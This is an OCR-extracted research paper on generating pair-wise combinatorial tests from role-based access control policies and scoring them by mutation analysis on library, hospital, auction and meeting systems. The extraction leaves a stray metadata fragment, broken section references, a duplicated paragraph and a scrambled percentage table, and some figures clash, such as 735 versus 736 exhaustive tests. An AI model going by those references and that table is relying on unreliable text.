190, 1], [190, 970, 2], [970, 1076, 3], [1076, 1239, 4], [1239, 1292, 5], [1292, 1378, 6], [1378, 1569, 7], [1569, 1637, 8], [1637, 1857, 9], [1857, 2324, 10], [2324, 2747, 11], [2747, 3284, 12], [3284, 3582, 13], [3582, 4526, 14], [4526, 4935, 15], [4935, 5247, 16], [5247, 5477, 17], [5477, 5822, 18], [5822, 6256, 19], [6256, 6543, 20], [6543, 6782, 21], [6782, 7131, 22], [7131, 7368, 23], [7368, 7943, 24], [7943, 8674, 25], [8674, 9230, 26], [9230, 9230, 27], [9230, 9289, 28], [9289, 9334, 29], [9334, 9362, 30], [9362, 9973, 31], [9973, 10404, 32], [10404, 10739, 33], [10739, 11327, 34], [11327, 11930, 35], [11930, 12175, 36], [12175, 12580, 37], [12580, 12938, 38], [12938, 13285, 39], [13285, 13769, 40], [13769, 14278, 41], [14278, 14516, 42], [14516, 14629, 43], [14629, 15665, 44], [15665, 15991, 45], [15991, 16729, 46], [16729, 17352, 47], [17352, 17627, 48], [17627, 18519, 49], [18519, 18869, 50], [18869, 19283, 51], [19283, 19487, 52], [19487, 20309, 53], [20309, 21317, 54], [21317, 22103, 55], [22103, 22103, 56], [22103, 22136, 57], [22136, 22209, 58], [22209, 22695, 59], [22695, 22868, 60], [22868, 23413, 61], [23413, 23823, 62], [23823, 24488, 63], [24488, 25320, 64], [25320, 25694, 65], [25694, 26375, 66], [26375, 27324, 67], [27324, 27357, 68], [27357, 27424, 69], [27424, 27600, 70], [27600, 27966, 71], [27966, 28501, 72], [28501, 28595, 73], [28595, 29691, 74], [29691, 29781, 75], [29781, 30044, 76], [30044, 30505, 77], [30505, 30975, 78], [30975, 31014, 79], [31014, 32599, 80], [32599, 33574, 81], [33574, 34665, 82], [34665, 35113, 83], [35113, 35566, 84], [35566, 35802, 85], [35802, 35922, 86], [35922, 35973, 87], [35973, 36041, 88], [36041, 37862, 89], [37862, 38660, 90], [38660, 39311, 91], [39311, 39987, 92], [39987, 40258, 93]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 40258, 0.05729]]}
|
olmocr_science_pdfs
|
2024-12-05
|
2024-12-05
|
ad609f0381068c470570f0ab770b52ab96005eb0
|
Model-Based Tests for Access Control Policies
Alexander Pretschner\textsuperscript{a}, Tejeddine Mouelhi\textsuperscript{b}, Yves Le Traon\textsuperscript{b}
\textsuperscript{a}ETH Zurich, Switzerland
\textsuperscript{b}ENST Bretagne, Cesson Sévigné, France
Abstract
We present a model-based approach to testing access control requirements. By using combinatorial testing, we first automatically generate test cases from and without access control policies—i.e., the model—and assess the effectiveness of the test suites by means of mutation testing. We also compare them to purely random tests. For some of the investigated strategies, non-random tests kill considerably more mutants than the same number of random tests. Since we rely on policies only, no information on the application is required at this stage. As a consequence, our methodology applies to arbitrary implementations of the policy decision points.
1. Introduction
The amount of digital data that is exchanged between individuals, businesses, and administrations continues to increase, and so does the number of applications that manage this kind of data. Fueled by the existence of many interfaces to such applications, including the Internet, there is a general agreement that the security of these applications is becoming ever more relevant. One major security concern is control over the access to resources. Respective requirements are stipulated in so-called access control policies. An application for which such a policy is specified is supposed to also implement that policy. The part of the application that implements the policy is normally called the policy decision point (PDP). The PDP is a conceptual entity and can be implemented in many different forms, including dedicated software components that are called before each resource access, or by spreading the respective program logic over the code. An obvious problem then is to make sure that a PDP implements a given access control policy.
One approach to solving this problem is by design. Basin et al., for instance, propose to develop systems on the grounds of two related specifications, one design model and one access control model [3]. For different infrastructures, the respective code is generated. Assuming the correctness of code generators, this ensures that the application’s PDP implements the policy. Legacy systems and systems that are built in development processes that do not rely on models require a different approach. One generally applicable strategy is that by analysis and, if necessary, subsequent modification of the PDP.
Problem Statement. In this paper, we study how to test access control requirements in arbitrary applications. This question entails three sub-problems, namely how to generate tests, how to assess their quality, and how to run them on an actual system.
Solution and Empirical Results. We propose to proceed in two steps. In a first step, we generate abstract tests (test targets, §2011547758). Test targets represent classes of actual requests. They are generated (1) regardless of any policy, i.e., by only taking into account roles, permissions, and contexts; (2) by considering all the rules in a given policy, that is, the model; and (3) completely at random. Relying on a fault model that considers incorrect decisions of the PDP to be a consequence of \( n \)-wise interactions of rule elements, we use combinatorial testing to automatically generate a test suite of manageable size. In a second step, we show how to derive actual tests (code) from the abstract test targets. Because this involves application-specific program logic and usually also a particular state of the application, this activity can in general not be fully automated. We discuss the issue of automation.
As to the problem of measuring the quality of the generated tests, we use mutation analysis to show that the tests that only use domain knowledge (that is, no policy-related information) perform as good as the same
\textsuperscript{1} pretsha@inf.ethz.ch, {tejeddine.mouelhi, yves.letraon}@enst-bretagne.fr. This work was done while the first author was on sabbatical leave at ENST Bretagne. Financial and organizational support is gratefully acknowledged.
number of random tests. We also show that some of the generation strategies that use pair-wise testing and that rely on the policy do indeed perform better than random tests, and that they do so with comparably few tests. This provides first experimental evidence that combinatorial testing of access control policies is a promising approach. Our generation procedure is stable and not subject to random influences, as suggested by a thirty-fold repetition of our experiments.
**Contribution.** The first contribution of this paper is a methodology and technology for automatically generating tests both without and on the grounds of access control policies. The second contribution is an experimental assessment of the effectiveness of the generated tests. We consider a special extension of role-based access control in this paper, but our methodology naturally generalizes to other access control models.
**Overview.** The remainder of this paper is organized as follows. We give the necessary background in terms of access control, combinatorial testing, and mutation testing in §2. Our test methodology, consisting of generating both abstract test targets and deriving concrete tests is the subject of §3. We describe experiments for assessing the quality of the generated test suites in §4, and also discuss the results there. After putting our work in context in §5, we conclude in §6.
## 2. Background
This section sets the scene. We present our running example, describe the access control model used in this paper, and provide the essence of combinatorial testing for test case generation as well as of mutation testing for test case evaluation.
**Running Example**
As a running example, we re-use a library management system (LMS, [12]). While it is not necessary to describe all constraints here, access conditions like the following are typical for many systems: books can be borrowed and returned by the users of the library on working days. When the library is closed, users can not borrow books. When a book is already borrowed, a user can make a reservation. When the book is available, the user can borrow it. The LMS distinguishes three types of users: public users who can borrow 5 books for 3 weeks, students (10 books for 3 weeks), and teachers who can borrow 10 books for 2 months.
The accounts of in the LMS are managed by an administrator. Books in the library are managed by a secretary who can order books and enter them into the LMS when they are delivered, repair damaged books, etc. Finally, the director of the library has the same access rights as the secretary and he can also consult the accounts of the employees.
**Access Control**
Access control is concerned with the protection of system resources against unauthorized access. In particular, it defines a process by which the use of system resources (1) is regulated according to an access control policy; and (2) is exclusively permitted by authorized entities (users, programs, processes, or other systems) according to that policy. While a multitude of access control strategies and models has been developed [15], we will concentrate on an extension of the so-called role-based access control (RBAC, [14]) model. Roughly, RBAC associates roles (sets of subjects) with permissions (pairs consisting of activities and resources).
In this paper, we use a simple extension of RBAC with contexts and strategies for conflict resolution. The model relies on hierarchical roles, hierarchical permissions that associate activities with resources, and hierarchical contexts. Requests consist of a subject instance, a resource instance, an action instance the subject wants to exercise on the resource, and a context instance. The PDP checks if a request corresponds to a rule such that the requester is an element of a role of a descendant of that rule, the action is an element of an action of a descendant of that rule, etc.
**Definitions and Syntax.** The policy meta model is depicted in Figure 1. Our domain consists of **role names**, **permission names** that are pairs of **activity names** and **resource names**, and **context names**. Roles associate role names with finite sets of **subject instances**. Similarly, activities associate activity names with finite sets of **action instances**, and resources associate resource names with finite sets of **resource instances**. Contexts associate context names with finite sets of **spatial and temporal constraints**.
In the example of the LMS, the role names include borrower and administrator, and the subject instances include John Doe. The permission names include borrowBook (activity name: borrow, resource name: book), and permission instances include the method name borrow() as well as the electronic representation of a copy of Dumas’s Count of Monte Christo. Context names include WorkingDays, and context instances include a representation of the fact that the current day is a working day.
Roles, permissions, and contexts are hierarchical, and we assume the existence of a dedicated root node for each hierarchy. In this way, for each policy, the universe of discourse is determined by the n:1 associations between policies and role names, permission names, and context names in Figure 1.
In the LMS, for instance, a BorrowerActivity is specialized by, among other things, BorrowBook and Re-
serveBook. Note that all nodes (as opposed to leaves only) can be mapped to non-empty sets of instances. A rule is a quintuple consisting of a role, a permission, a context, a status flag indicating permission or prohibition, and a natural number that denotes a priority. In the LMS, an example of a rule is prohibition(Borrower, BorrowBook, Holidays, 5). Finally, a policy is a set of rules together with a function that defines the hierarchies, and a default rule (see below).
Note that nothing prevents us from generating one type (role name, permission name, context name) per instance and add it to the hierarchies. In this case, the four instance classes in Figure 1 could be omitted.
Figure 1
Semantics. The application of actions to resources is requested by a subject in a given context. Intuitively, for a request, the policy decision point checks if there is a rule that matches the request: the subject instance of the request is part of the role or its subroles defined in the rule; the (activity, resource) pair is part of the permission of the rule, and the context instance is part of the context defined in the rule. In that case, the rule is said to be applicable to the request. If there is no such rule, the PDP returns a default that is either permission or prohibition. Finally, if there is more than one rule, then the rule with the higher priority is chosen. If there are two applicable rules with the same priority and different status flags, then either a deny-override or permit-overide strategy is applied. We omit the formal semantics here. While our approach to generating tests obviously relies on the semantics of a particular access control model when the oracle is consulted, it can nonetheless be applied to any access control model.
Combinatorial Testing
When testing configurations that consist of multiple parameters, one fault model consists of assuming that failures are a consequence of the interaction of only two (three, four, …) rather than all parameters. Combinatorial testing [16,6] relies on precisely this idea and aims at defining test suites such that for each pair (triple, quadruple, …) of parameters, all pairs (triples, quadruples, …) of values for these parameters appear in one test case in the test suite. If the assumption (the fault model) can be justified, the eminent benefit of this strategy lies in the rather small size of the test suite. For instance, without any further constraints, the number of tests necessary for pair-wise testing is the sum of the number of all possible parameter values in the system.
Mutation Testing
The original purpose of mutation testing [4] is to assess the quality of a test suite in terms of failure detection. The idea is to apply small syntactic changes to a program, e.g., replace a plus by a minus. The modified program is called a mutant. If a test suite is able to detect the deviation, the mutant is said to be killed, and the mutation score is the number of killed mutants divided by the number of mutants. If a mutant is not killed, this may be because the test suite is too weak or because the mutant is equivalent to the original program. This happens, for instance, if a +0 is replaced by a -0. As a consequence, mutation scores of 100% cannot be obtained. If mutation scores are used as test selection criteria [17], then this obviously poses a practical problem. Mutation testing assumes validity of the competent programmer’s and the coupling hypotheses. The former assumes that programmers essentially introduce relatively simple faults, and the latter assumes a correlation between simple and more complex faults.
Even though Andrews et al. have recently provided some empirical evidence that there is indeed such a correlation [2], both assumptions remain critical. Mutation can also be applied not to the code but to access control policies [7,10]. If the code implementing a PDP can be configured by these policies, then test cases can be applied to PDPs that implement a mutated policy. By doing so, the quality of access control policy test cases can be assessed.
In this paper, we will use the mutation operators defined in earlier work [7]. Five operators are used to modify existing rules (replace prohibition by permission, replace permission by prohibition, replace role by any role, replace role by a descendant, replace context by different context, and replace the activity part of a permission by another permission). A sixth operator adds a new rule to the policy by picking a permission from the policy, and completing the rule by any role,
any context, and any status flag. If a mutated rule is in conflict with other rules of the policy (which can be analyzed statically), then we assign it a priority that is higher than that of the other rules. Since the mutation procedure operates on policies, and as such at a “semantic” level (as opposed to code), no equivalent mutants are generated, provided that there are no redundant rules in the original policy.
3. Test Methodology
Recall that the problem we set out to solve is the generation of a set of test cases for assessing in how far an application implements a given access control policy. We use this section to describe the test methodology and the technologies involved. After providing the big picture, §7 describes two different ways of generating test targets; one regardless of any policy, the other depending on a policy. In §7 we explain how to concretize abstract test targets into concrete tests.
The overall process is depicted in Figure 2. As described in §0, policies are defined for a domain that consists of, among other things, application-specific roles, permissions, and contexts. That domain corresponds to the lower half of Figure 1. Different means are employed to generate test targets from policies and partial domain descriptions (§§0 and 0). A test target consists of a role name, a permission name, and a context name (§0). By picking a subject that is associated with the role name, a permission that is associated with the permission name, and a context that is associated with the context name, we obtain an instantiated test target. Test targets and instantiated test targets are defined at the level of abstraction of the policy and the partial domain description. They are hence too abstract to be directly executed on a real piece of software. Test cases, in contrast, are executed. Essentially, they are pieces of code that implement the instantiated test targets and that take into account the business logic of the application under test. The methodology that we define in this paper is about the generation of (instantiated) test targets and the subsequent manual derivation of test cases (see §6 for a discussion of the potential for automation).
Note that when generating both the PDP [3] and the test suite from the same policy, applying the tests to the application that contains the PDP is likely to reveal problems in the code generator rather than in the PDP plus associated application [13]. Our methodology hence applies to existing legacy systems and new systems without automatically generated PDPs [3].
Test Targets
The generation of test targets can be done in at least two ways. One is to generate them regardless of any policy. A second strategy takes into account the policy.
Ignoring the Policy
Roughly, the generation of test targets without policy only takes into account information on roles, permissions, contexts, and the respective hierarchies. Essentially, combinatorial testing is applied to all nodes of the three hierarchies (Figure 3).
Using the Policy
The generation of test targets from access control policies, in contrast, proceeds as follows. We will consider each single rule in turn. The part of the rule that is relevant for test case generation is the triple (r, p, c) that consists of a role name, a permission name, and a context name (priorities are required for the oracle). Each element of that triple is a part of one of the hierarchies defined in Figure 1, and they correspond to boxes with thick borders in Figure 4. Combinatorial testing is then employed to generate $n$-wise coverage
1. for all role names below $r$
2. with all permission names below $p$
3. with all context names below $c$.
Instantiation. Random instantiation then takes place by picking one element of the respective instance sets. In case the number of instantiations of roles, permissions, or contexts is not prohibitive, combinatorial testing can even be applied at the level of instances (see the comment above on introducing one role name, permission name, or context name per respective instance).
Using the Policy
The generation of test targets from access control policies, in contrast, proceeds as follows. We will consider each single rule in turn. The part of the rule that is relevant for test case generation is the triple (r, p, c) that consists of a role name, a permission name, and a context name (priorities are required for the oracle). Each element of that triple is a part of one of the hierarchies defined in Figure 1, and they correspond to boxes with thick borders in Figure 4. Combinatorial testing is then employed to generate $n$-wise coverage
1. for all role names below $r$
2. with all permission names below $p$
3. with all context names below $c$.
All these nodes depicted as grey boxes in Figure 4, top. Since a rule is either a permission or a prohibition, it appears sensible to also test all those nodes which are not explicitly specified (this complementary set is depicted as grey boxes in Figure 4, bottom).
For the three elements of a rule, we can then specify whether or not the respective component of a test target should conform with the element of a rule. As an example, consider a rule that constrains role \( r \), permission \( p \), and context \( c \) (boxes with thick borders in Figure 5). The test targets that correspond to the grey boxes in that figure specify a role different from \( r \), a permission that derives from \( p \), and a context that differs from \( c \). In sum, for each rule, this gives rise to eight combinations that can be used for the generation of test targets.
**Instantiation.** Similar to the first case, instances are then randomly chosen for each role name, permission name, and context name. Furthermore, also in accordance with the first case, if the number of instances is not prohibitive, combinatorial testing can even be applied to the respective instances. If, in this sense, one role name is introduced for each subject instance in the system, one permission name for each pair of action instance and resource instance, and one context name for each constraint, then the above procedure needs to be applied to the leaves of the hierarchies only, and no subsequent instantiation step is required.
**Comparison**
Not using the policy at all may, at first sight, appear surprising: if there is a policy, why wouldn’t we use it for test case generation? Not using a policy seems reasonable because regardless of the policy, *all kinds of requests* should be tested, and these only depend on the roles, permissions, and contexts, but not on the policies. The essential difference between the two strategies lies in the number of tests that correspond to existing rules. In most cases, some permissions or prohibitions will not be defined explicitly in the policy. Respective decisions are then taken by referring to the default rule. In the first approach, corresponding test targets may be generated more or less at random. In contrast, many test targets are explicitly generated by the second approach for these implicit rules. Note that because our policies can express both permissions and expressions even within one policy, the two approaches do not differ in “better” testing permissions than prohibitions nor vice versa.
**Concrete Test Cases**
Concrete tests differ from abstract test targets in that the latter do not take into account the application logic at all. The problem then is that specific actions cannot be applied to specific resources in all states. For instance, a book cannot be returned before it has been borrowed. When concretizing test targets, this information must be taken into account. The information, however, is likely available in the requirements documents, in the form of sequence diagrams or similar descriptions. The derivation of test cases then consists of writing a preamble that puts the system into a state where the access rule is applicable as far as the state of the application is concerned. We are currently working on generating the respective code from sequence diagrams, and integrating it with the generated tests, but this is not the subject of this paper and immaterial to our results that relate to test generation strategies. From a practical perspective, however, the automation of such procedures is of course highly useful—testing becomes a push-button technology.
The following example illustrates concretization. Consider a rule \( \text{prohibition}(\text{borrower}, \text{return}\_\text{book}, \text{maintenanceDay}, 4) \) for the LMS. For any of the above generation strategies, assume that the test target prescribes a role \( \text{borrower} \), a permission \( \text{return}\_\text{book} \), and a context \( \text{maintenanceDay} \). A possible *instantiated test target* is \( \text{prohibition}(\text{std1}, \text{book1}, \text{maintenanceDay}, 4) \). This however, still is too abstract to be executed. Concretization leads the following code
that consists of a preamble that puts the system into a desired state, execution of the actual test, and the evaluation of the test.
```
// test data initialization
// log in a student
std1 = userService.logUser("login1", "pwd1");
// create a book
book1 = new Book("book title");
// activity
// book needs to be borrowed before returned
borrowBookForStudent(student1, book1);
// context
contextManager.setTemporalContext(maintenanceDay);
// security test
// run test
try {
returnBookForStudent(std1, book1) // security oracle
// SecurityPolicyViolationException is expected because an SP rules is not respected
// test failure
fail("SecurityPolicyViolationException expected, returnBookForStudent with student = " + std1 + " and book = " + book1);
} catch(SecurityPolicyViolationException e) {
// ok security test succeeded
log.info("test success for rule : prohibition(borrower, return_book, maintenanceDay)");
}
```
**Implementation**
With the exception of the generation of Java code, our test generation procedure is fully automated. The system takes as input a policy and the respective domain description (roles, permissions, contexts) together with the strategies to be applied. For each strategy, it returns the generated test targets. N-wise test generation—we concentrate on pairs in this paper—is performed by a tool that is publicly available at www.burtleburtle.net/bob/math/jenny.html.
In terms of the experiments, mutants of the policy (not any respective implementing code—this would almost certainly lead to equivalent mutants) are generated by the procedure described in §0. This procedure has been implemented as part of earlier work [7, 12]. The mutated polices are translated into Prolog code (motorb-ac.sourceforge.net), and this code is used as the executable oracle.
**4. Experiments**
The question that we study is concerned with the quality of tests generated by the different above strategies. We consider the following case studies that have all been used in various other research projects. Both policies and systems were designed and implemented independently of the present study.
The **library management system** has already been described in §12. Its policy is defined via 41 rules on 7 roles, 10 permissions, and 4 contexts.
We also consider the access control policy in a **hospital** with different physicians and staff. It defines who manages the administrative tasks and who performs which medical tasks. Its policy is defined in 37 rules with 10 roles, 15 permissions, and 3 contexts. In contrast to the other systems, the hospital system was not implemented in an application. The policy, however, was defined in projects on security policies [1].
The **auction system** is inspired by the eBay auction sales management system. Sellers can create and sell products. Buyers propose biddings to win the sale. In addition, buyers and sellers can post comments during the sale and about sellers and buyers. They also can give marks to the sellers and buyers. In addition, the application allows the personnel of the website to manage sales and user and personnel accounts. The system’s policy is defined on 8 roles, 23 permissions and 4 contexts with 130 rules.
Finally, the **meeting management** system allows users to create and attend different types of meetings. It also allows the management to delegate and to transmit texts during the meeting. Meetings can be moderated by a specific user called the moderator and the number of attendees can be fixed. This application also allows the personnel to create and manage accounts for meeting users by the personnel. Its policy consists of 106 rules defined over 8 roles, 18 permissions, and 3 contexts.
**Procedure.** We first generate tests with the two strategies described in §1. Our instantiation of n-wise testing is pair-wise testing. As a gold standard, we also generate tests purely at random. We count the number of generated test targets and measure the generation time. This time turns out to be negligible—less than a second—which is why we refrain from stating respective numbers here. In a second step, we assess the quality of the test suites by using mutation testing (§1).
**Generation of test targets.** The **first strategy** does not take into account policies but rather the domains only. Pair-wise testing is applied. In order to get a feeling for the influence of randomness when pairs are chosen, we perform the generation process thirty times for each strategy and for each case study.
The **second strategy** does take policies into account. For each of the eight sub-strategies, we generate test targets for each single rule. We make sure that they are all independent from each other: we do not first generate two sets of role names, two sets of permission names and two sets of context names and then pick the 8 combinations from these buckets, but rather regener-
ate them in each turn. This experiment is also performed thirty times (hence 240 experiments per rule). In each of the thirty experiments, we remove redundant test targets from each of the eight test suites.
The third strategy also does not consider policies. However, test targets are chosen fully randomly, without pair-wise testing. In such a randomly generated test suite, we make sure there are no identical tests. This generation strategy is also applied thirty times.
Assessment of tests. The quality assessment proceeds as follows (we only consider the level of test targets here). We consider each of the four fixed policies in turn. We apply the first five mutation operators to every rule. Replacing a prohibition by a permission and vice versa yields one mutated policy. When applying the other mutation operators, we generate all possible mutants rather than just one. For instance, when a role is replaced in a rule, we replace it by all other possible roles in the system rather than by just one other role. Furthermore, the application of the addition operator yields an entire set of mutated policies. Details of the mutation operators are described elsewhere [7, 12]. The generated test suites are then applied to all mutants, and we record the mutation score.
Observations and Discussion. Figure 6 to Figure 9 show box-whisker diagrams of the mutation scores for the four case studies. Strategy 1 (no policy, only domain considered) is labeled no policy (N). The test targets generated for strategy 3 are labeled random (N). In both cases, N denotes the number of generated test targets.
The eight sub-strategies of strategy 2 are labeled policy 000 (N_1), policy 001 (N_2), ..., policy 111 (N_8). The N_i correspond to the number of test targets generated for each sub-strategy. The binary number encodes the chosen sub-strategy: Let c denote whether, for every rule, contexts are chosen from the specializations of the provided context or from the complement of that set. Let p denote whether, for every rule, contexts are chosen from the specializations of the provided permission or from the complement of that set. Finally, let r denote whether, for every rule, contexts are chosen from the specializations of the provided permission or from the complement of that set. The binary number rpc is given in the labels. For instance, 010 (Figure 5) corresponds to: (1) context chosen from the set of contexts that are not sub-contexts of that provided in the rule, (2) permission from the set of all permissions that are below the permission provided in the rule, and (3) role not below the role that is specified in the rule. In the following, we will denote sub-strategy xyz (x,y,z are 1 or 0) of strategy 2 by 2.xyz.
Figure 6: Meeting System (432 exhaustive tests)
Figure 7: Library System (280 exhaustive tests)
Figure 8: Hospital System (450 exhaustive tests)
Figure 9: Auction System (736 exhaustive tests)
Overall, the variance of the mutation scores in all experiments is small. The number of tests for comparable strategies may slightly differ (e.g., for strategy 2.000 in all four experiments). This is a result of randomness in the pair-wise testing approach. However, as the variance is small, we may ignore this effect here.
Furthermore, the eight sub-strategies of strategy 2 result in different numbers of test targets. This is a consequence of the role, permission, and context hierarchies: the number of nodes above or below a node need not be identical. Consequently, pair-wise testing is applied to variables with different domains.
Strategy 1 turns out to be as good as random testing, and, with the exception of the hospital system, worse than all sub-strategies of strategy 2. The number of tests is comparatively low: an average 29% of the cardinality of the exhaustive test set. However, because of better strategies, pair-wise testing that does not take into account a policy is, in terms of our assessment criterion, a strategy that can safely be discarded. This result indicates that taking into account an access control policy when generating tests on the grounds of pair-wise testing is highly advisable. Because of the existence of default rules, we would have argued that, in general, all requests (or test targets) are equally likely to detect faults. The above is hence a result that we did not expect and that is probably due to the use of mutation testing for assessing tests.
With the exception of the hospital system, strategy 2.001 yields exhaustive tests. This will, in general, not be the case for all policies. In our examples, however, hierarchies are rather flat (which means that the negation of roles and permissions yields, for every rule that is used for test target generation, almost all other roles and permissions, respectively). At the same time, the number of contexts is small. Taken together, this leads to a high probability of generating exhaustive tests (note that this is only almost the case for the auction system). The exception of the hospital system is explained by its policy and the mutant generator: for one role, there are no rules, and in contrast to the test target generator, the mutation generator creates mutants only for those elements that occur in any rule (and that are not only provided in the policy’s domain description).
When comparing different strategies to random tests, we get the following aggregated results (bold rows indicate superiority of the respective strategy):
<table>
<thead>
<tr>
<th>Strategy</th>
<th>Better than random</th>
<th>Equal</th>
<th>Worse</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0</td>
<td>4</td>
<td>0</td>
</tr>
<tr>
<td>2.000</td>
<td>1</td>
<td>2</td>
<td>1</td>
</tr>
<tr>
<td>2.001</td>
<td>1</td>
<td>3</td>
<td>0</td>
</tr>
<tr>
<td>2.010</td>
<td>0</td>
<td>0</td>
<td>4</td>
</tr>
<tr>
<td>2.011</td>
<td>4</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>2.100</td>
<td>0</td>
<td>2</td>
<td>2</td>
</tr>
<tr>
<td>2.101</td>
<td>4</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>2.110</td>
<td>2</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>2.111</td>
<td>3</td>
<td>1</td>
<td>0</td>
</tr>
</tbody>
</table>
Strategies 2.011, 2.101, and 2.111 perform better than random tests; strategies 2.000, 2.001, and 2.110 perform approximately like random testing; and strategies 2.010 and 2.100 perform worse than random testing.
However, we also have to consider the number of tests that achieve these results. The following table shows the relative number (x 100) of test cases that achieved the mutation scores, i.e., number of tests divided by cardinality of exhaustive test set.
<table>
<thead>
<tr>
<th>00</th>
<th>00</th>
<th>01</th>
<th>01</th>
<th>01</th>
<th>01</th>
<th>10</th>
<th>10</th>
<th>11</th>
<th>11</th>
<th>System</th>
</tr>
</thead>
<tbody>
<tr>
<td>99</td>
<td>10</td>
<td>90</td>
<td>58</td>
<td>76</td>
<td>63</td>
<td>39</td>
<td>25</td>
<td>39</td>
<td>25</td>
<td>Meeting</td>
</tr>
<tr>
<td>85</td>
<td>10</td>
<td>80</td>
<td>35</td>
<td>79</td>
<td>43</td>
<td>34</td>
<td>15</td>
<td>43</td>
<td>34</td>
<td>Library</td>
</tr>
<tr>
<td>80</td>
<td>63</td>
<td>62</td>
<td>31</td>
<td>53</td>
<td>33</td>
<td>16</td>
<td>8</td>
<td>63</td>
<td>62</td>
<td>Hospital</td>
</tr>
<tr>
<td>89</td>
<td>10</td>
<td>80</td>
<td>34</td>
<td>74</td>
<td>59</td>
<td>50</td>
<td>18</td>
<td>89</td>
<td>18</td>
<td>Auction</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>88</th>
<th>91</th>
<th>78</th>
<th>40</th>
<th>71</th>
<th>50</th>
<th>35</th>
<th>17</th>
<th>Average</th>
</tr>
</thead>
</table>
1. Strategies that take into account positive context definitions (i.e., do not make use of the complement set: strategies 2.001, 2.011, 2.101, 2.111) provide better or identical results than random tests. Out of these, 2.011 and 2.101 perform their results with 40%-50% of the tests, and 2.111 with only 17%.
2. Conversely, strategies that take into account the complement set of the contexts (strategies 2.000,
2.010, 2.100, 2.110) provide worse results than random tests. Three of them require 71%-88% of the tests; only strategy 2.110 requires a mere 35%.
3. Strategies that do not negate both roles and permissions at the same time (strategies 2.010 and 2.100) perform worse than random tests. This is with a comparably high number of tests: 71-78%.
4. With the exception of strategy 2.111, strategies that either negate or do not negate both roles and permissions are high as good as random tests (2.000, 2.001, 2.110). Strategies 2.000 and 2.001 require 88%-91% of the tests while strategy 2.110 (that may also be classified as performing better than random tests) only requires 35% of the tests.
In terms of the number of necessary tests—that tends to be relatively high when compared to the exhaustive test set—strategies 2.011, 2.101, 2.110, and 2.111 appear promising. In terms of the mutation scores, 2.001, 2.011, 2.101 and 2.111 appear promising. The intersection consists of strategies 2.011, 2.101 and 2.111. When compared to random testing, strategy 2.111 (positive role, positive permission, positive context) performs particularly well. Good mutation scores are obtained for rather small numbers of tests (17%). The number of test targets for strategy 2.111 equals the number of rules. The reason for this equivalence is the rather flat hierarchies in all example systems, and as it turns out (in hindsight), if a rule is defined for a non-leaf node of a hierarchy, then there are always complementary rules for all sub-nodes. Since redundant tests are removed in all strategies, this explains that exactly the number of rules is obtained. This result suggests that simply using one test per rule (possibly with exactly the elements that define the rule) provides surprisingly good results. We cannot really explain this finding, and we do not dare to generalize it. We will use it to scrutinize the mutation operators.
Summary. Because of the many degrees of freedom in the policy language of our examples (default rule, specification of both permissions and prohibitions, priorities), we think it is too early to draw generalized results in terms of which strategy is better. We also conjecture that this depends on the policies—ratio of permissions and prohibitions, and on the depth of the different hierarchies. However, we believe that our work very clearly suggests that
1. using policies for test generation with pair-wise algorithms is preferable to only using domain knowledge (roles, permissions, and contexts);
2. while it may be too early to decide on the best strategies, there are notable differences between the different strategies that use combinatorial testing. This suggests that research into combinatorial testing for access control policies is a promising avenue of research; and that
3. finally, our generation procedure that uses pair-wise testing is stable in the sense that it is not subject to random influences, as suggested by the small variances obtained in a thirty-fold repetition of our experiments.
Our conclusions are of course subject to several validity threats. The main problem with any generalization is obviously the small number of systems and the small number of roles, permissions, contexts, and rules for each policy. A set of four domain definitions with four hierarchies is unlikely to be representative of all possible hierarchies. Furthermore, as with all mutation testing, the relationship between mutants and actually occurring faults needs to be investigated [2].
5. Related Work
In earlier work, we have defined mutation operators and mutation-based coverage criteria for assessing tests for access control policies [7]. The concern of that work was not the automated generation of tests but rather their assessment. Martin and Xie [10] define a fault model and mutation operators for XACML policies. Their mutation operators may well lead to equivalent mutants which, because of the higher level of abstraction we use for mutation, cannot happen in our approach. This is crucial because with no equivalent mutants, we can measure the quality of a test suite in terms of failure detection. The respective mutation score is less significant when equivalent mutants exist. The same authors also generate tests [11] without relying on the ideas of combinatorial testing and measure, among other things, the mutation scores. These numbers are difficult to compare with ours because we work at a different level of abstraction and, as a consequence, employ mutation operators at the level of rules rather than at the level of XACML code.
Among other things, a tool [5] developed by Fisler et al. performs change-impact analysis on a restricted set of XACML policies. Given an original and a modified policy, the tool proposes requests that lead to different decisions for two PDPs that implement the two policies. This tool can be used for test case generation on the grounds of XACML which is not the level of abstraction that we target in this paper. Several researchers have generated tests from access control policies given by various forms of state machines [8,9]. This work does not contain an evaluation of the generated tests.
6. Conclusions
We have presented a methodology for testing access control requirements, technology for automatically generating test targets, and an evaluation of the generation procedure. In sum, our results suggest, firstly, that using a policy for test generation is beneficial when compared to only using domain knowledge, i.e., the roles, permissions, and contexts. Given that policies are usually equipped with a default rule and that hence any request to a system is relevant for testing, this comes as a surprise and requires further investigations. Secondly, we find that using pair-wise testing on policies yields, for some strategies, tests that yield higher mutation scores than purely random tests. Because we have considered only four examples of moderate size, we refrain from drawing generalized conclusions as to which strategy is the best. However, we believe that our results provide evidence that combinatorial testing for access control policies is a promising avenue of future research.
In addition to overcoming the threats to validity discussed in §4, there are many possibilities for future work. We deliberately only use the policies, and not any code, for generating and assessing tests (generation is simple and the assessment does not run into the problem of equivalent mutants). The concretization of the tests, in contrast, is a manual process today. We believe in the potential of automatically generating this code from requirements in the form of sequence diagrams. However, by their very nature, these sequence diagrams are likely to only modify one small part of the system’s state space. Yet, tests (that is, requests for accessing a resource) should be run in many different states. This suggests that one test target should be concretized into many concrete tests. This is currently not considered in our approach. Because of the separation of test target generation from all application logics, once the problem of putting the system in “interesting” states is solved, however, it seems easy to integrate this with our test target generation procedure.
In our examples, the exhaustive number of test targets is rather low (735 maximum). Assuming that automation for generating and executing concrete tests is available, one might argue why one would not perform exhaustive testing (exhaustive at the level of the policy, not the code). Test case minimization nonetheless reduces effort, and for huge policies, exhaustive testing may not be possible. The better of our generation procedures generate in-between 17% and 50% of the number of exhaustive tests, and we do not know these numbers for larger policies.
